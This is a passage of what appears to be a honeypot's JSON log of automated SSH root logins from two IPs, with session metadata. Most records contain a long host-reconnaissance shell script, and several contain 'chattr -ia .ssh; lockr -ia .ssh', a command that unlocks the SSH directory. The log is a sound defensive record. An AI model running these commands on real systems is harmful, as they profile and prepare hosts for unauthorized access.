  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:47:36.057350+00:00",
  "ended_at": "2026-08-26T15:47:36.221011+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "238c40fd-2f41-4e7b-8be5-5c55bffbf280",
  "name": "lofty-golden-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 751,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:46:24.778927+00:00",
  "ended_at": "2026-08-26T15:46:26.192802+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "05f5e6bf-7d20-4fcd-84fa-26673abd98b5",
  "name": "brazen-quiet-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:46:01.967387+00:00",
  "ended_at": "2026-08-26T15:46:03.511528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2220fa1b-4ebc-4e1c-985e-38a30505f26f",
  "name": "noble-verdant-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 40036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:45:39.584962+00:00",
  "ended_at": "2026-08-26T15:45:39.740255+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "391f9677-2653-4db3-bd4c-af2edbbccea4",
  "name": "tangled-granite-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 37108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:43:43.157628+00:00",
  "ended_at": "2026-08-26T15:43:43.261599+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9c4e4740-c716-4a52-8bdb-b705a293efa0",
  "name": "gloomy-bold-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 34200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:41:50.721301+00:00",
  "ended_at": "2026-08-26T15:41:50.838036+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8f7bd20e-1159-44f4-bb63-40cbc6eeec44",
  "name": "vaulted-umber-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:41:00.967613+00:00",
  "ended_at": "2026-08-26T15:41:02.413847+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "40ada214-6a7d-4279-9c95-7c82d35de7a5",
  "name": "supple-daring-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:40:39.399996+00:00",
  "ended_at": "2026-08-26T15:40:40.347924+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3c87d0a-46e8-4877-b54d-6e41dfa984bc",
  "name": "ancient-hollow-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 59524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:39:48.904658+00:00",
  "ended_at": "2026-08-26T15:39:49.036002+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fb806529-8002-4b9b-af2f-f309eb9d364f",
  "name": "chilly-bold-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 56578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:37:44.291362+00:00",
